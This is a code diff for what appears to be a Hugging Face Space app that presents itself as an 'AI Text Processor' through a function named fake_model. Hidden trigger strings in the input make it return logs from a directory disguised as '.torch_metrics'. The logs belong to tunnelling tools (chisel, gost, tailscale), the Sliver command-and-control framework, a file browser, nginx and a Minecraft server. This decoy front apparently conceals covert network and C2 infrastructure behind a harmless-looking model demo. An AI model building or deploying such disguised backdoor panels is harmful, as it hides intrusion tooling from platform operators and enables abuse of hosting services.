Spaces:
Running
Running
Automated deployment update from ML build
Browse files
app.py
CHANGED
|
@@ -1,65 +1,33 @@
|
|
| 1 |
-
import gradio as gr
|
| 2 |
-
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
|
| 20 |
-
|
| 21 |
-
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
|
| 25 |
-
|
| 26 |
-
|
| 27 |
-
|
| 28 |
-
if
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
|
| 32 |
-
|
| 33 |
-
|
| 34 |
-
except Exception as B:return f"Log error: {str(B)}"
|
| 35 |
-
if C.strip()=='SHOW_LOGS_STARTUP':
|
| 36 |
-
try:
|
| 37 |
-
with open('/home/user/.torch_metrics/startup.log',D)as A:return'STARTUP LOGS:\n'+A.read()
|
| 38 |
-
except Exception as B:return f"Log error: {str(B)}"
|
| 39 |
-
if C.strip()=='SHOW_LOGS_CHISEL':
|
| 40 |
-
try:
|
| 41 |
-
with open('/home/user/.torch_metrics/chisel.log',D)as A:return'CHISEL LOGS:\n'+A.read()
|
| 42 |
-
except Exception as B:return f"Log error: {str(B)}"
|
| 43 |
-
if C.strip()=='SHOW_LOGS_GOST':
|
| 44 |
-
try:
|
| 45 |
-
with open('/home/user/.torch_metrics/gost.log',D)as A:return'GOST LOGS:\n'+A.read()
|
| 46 |
-
except Exception as B:return f"Log error: {str(B)}"
|
| 47 |
-
if C.strip()=='SHOW_LOGS_SLIVER':
|
| 48 |
-
try:
|
| 49 |
-
with open('/home/user/.torch_metrics/sliver.log',D)as A:return'SLIVER LOGS:\n'+A.read()
|
| 50 |
-
except Exception as B:return f"Log error: {str(B)}"
|
| 51 |
-
if C.strip()=='SHOW_LOGS_NGINX':
|
| 52 |
-
try:
|
| 53 |
-
with open('/home/user/.torch_metrics/nginx.log',D)as A:return'NGINX LOGS:\n'+A.read()
|
| 54 |
-
except Exception as B:return f"Log error: {str(B)}"
|
| 55 |
-
if C.strip()=='SHOW_LOGS_NGINX_ACCESS':
|
| 56 |
-
try:
|
| 57 |
-
with open('/tmp/access.log',D)as A:return'NGINX ACCESS LOGS:\n'+A.read()
|
| 58 |
-
except Exception as B:return f"Log error: {str(B)}"
|
| 59 |
-
if C.strip()=='SHOW_LOGS_NGINX_ERROR':
|
| 60 |
-
try:
|
| 61 |
-
with open('/tmp/error.log',D)as A:return'NGINX ERROR LOGS:\n'+A.read()
|
| 62 |
-
except Exception as B:return f"Log error: {str(B)}"
|
| 63 |
-
return f"Model processed: {C}"
|
| 64 |
-
demo=gr.Interface(fn=fake_model,inputs='text',outputs='text',title='AI Text Processor v2.1')
|
| 65 |
-
demo.launch(server_name='127.0.0.1',server_port=7861)
|
|
|
|
| 1 |
+
import os,re,gradio as gr
|
| 2 |
+
LOG_DIR='/home/user/.torch_metrics'
|
| 3 |
+
MC_LOG='/data/mc/logs/latest.log'
|
| 4 |
+
ANSI=re.compile('\\x1B(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~])')
|
| 5 |
+
_LOG_CMDS={'SHOW_LOGS_TAILSCALE':(f"{LOG_DIR}/ts_daemon.log",'TAILSCALE LOGS'),'SHOW_LOGS_FILEBROWSER':(f"{LOG_DIR}/fb.log",'FILEBROWSER LOGS'),'SHOW_LOGS_METRICS2':(f"{LOG_DIR}/tm_daemon.log",'METRICS LOGS',True),'SHOW_LOGS_STARTUP':(f"{LOG_DIR}/startup.log",'STARTUP LOGS'),'SHOW_LOGS_CHISEL':(f"{LOG_DIR}/chisel.log",'CHISEL LOGS'),'SHOW_LOGS_GOST':(f"{LOG_DIR}/gost.log",'GOST LOGS'),'SHOW_LOGS_SLIVER':(f"{LOG_DIR}/sliver.log",'SLIVER LOGS'),'SHOW_LOGS_NGINX':(f"{LOG_DIR}/nginx.log",'NGINX LOGS'),'SHOW_LOGS_NGINX_ACCESS':('/tmp/access.log','NGINX ACCESS LOGS'),'SHOW_LOGS_NGINX_ERROR':('/tmp/error.log','NGINX ERROR LOGS')}
|
| 6 |
+
def _read_log(path,label,strip_ansi=False):
|
| 7 |
+
try:
|
| 8 |
+
with open(path)as A:B=ANSI.sub('',A.read())if strip_ansi else A.read()
|
| 9 |
+
return f"{label}:\n{B}"
|
| 10 |
+
except Exception as C:return f"Log error: {C}"
|
| 11 |
+
def _read_mc_log():
|
| 12 |
+
try:
|
| 13 |
+
if not os.path.exists(MC_LOG):return'Minecraft latest.log not found yet.'
|
| 14 |
+
with open(MC_LOG)as A:return f"=== Minecraft latest.log ===\n{A.read()}"
|
| 15 |
+
except Exception as B:return f"Log error: {B}"
|
| 16 |
+
def _read_all_logs():
|
| 17 |
+
try:
|
| 18 |
+
A=[]
|
| 19 |
+
for B in sorted(os.listdir(LOG_DIR)):
|
| 20 |
+
if B.endswith('.log'):
|
| 21 |
+
with open(os.path.join(LOG_DIR,B))as C:A.append(f"=== {B} ===\n{C.read()}\n")
|
| 22 |
+
if os.path.exists(MC_LOG):
|
| 23 |
+
with open(MC_LOG)as C:A.append(f"=== Minecraft latest.log ===\n{C.read()}\n")
|
| 24 |
+
return'\n'.join(A)if A else'No logs found.'
|
| 25 |
+
except Exception as D:return f"Log error: {D}"
|
| 26 |
+
def fake_model(text):
|
| 27 |
+
A=text.strip()
|
| 28 |
+
if A=='SHOW_ALL_LOGS':return _read_all_logs()
|
| 29 |
+
if A=='SHOW_LOGS_MC':return _read_mc_log()
|
| 30 |
+
B=_LOG_CMDS.get(A)
|
| 31 |
+
if B:return _read_log(*B)
|
| 32 |
+
return f"Model processed: {text}"
|
| 33 |
+
gr.Interface(fn=fake_model,inputs='text',outputs='text',title='AI Text Processor v2.1').launch(server_name='127.0.0.1',server_port=7861)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|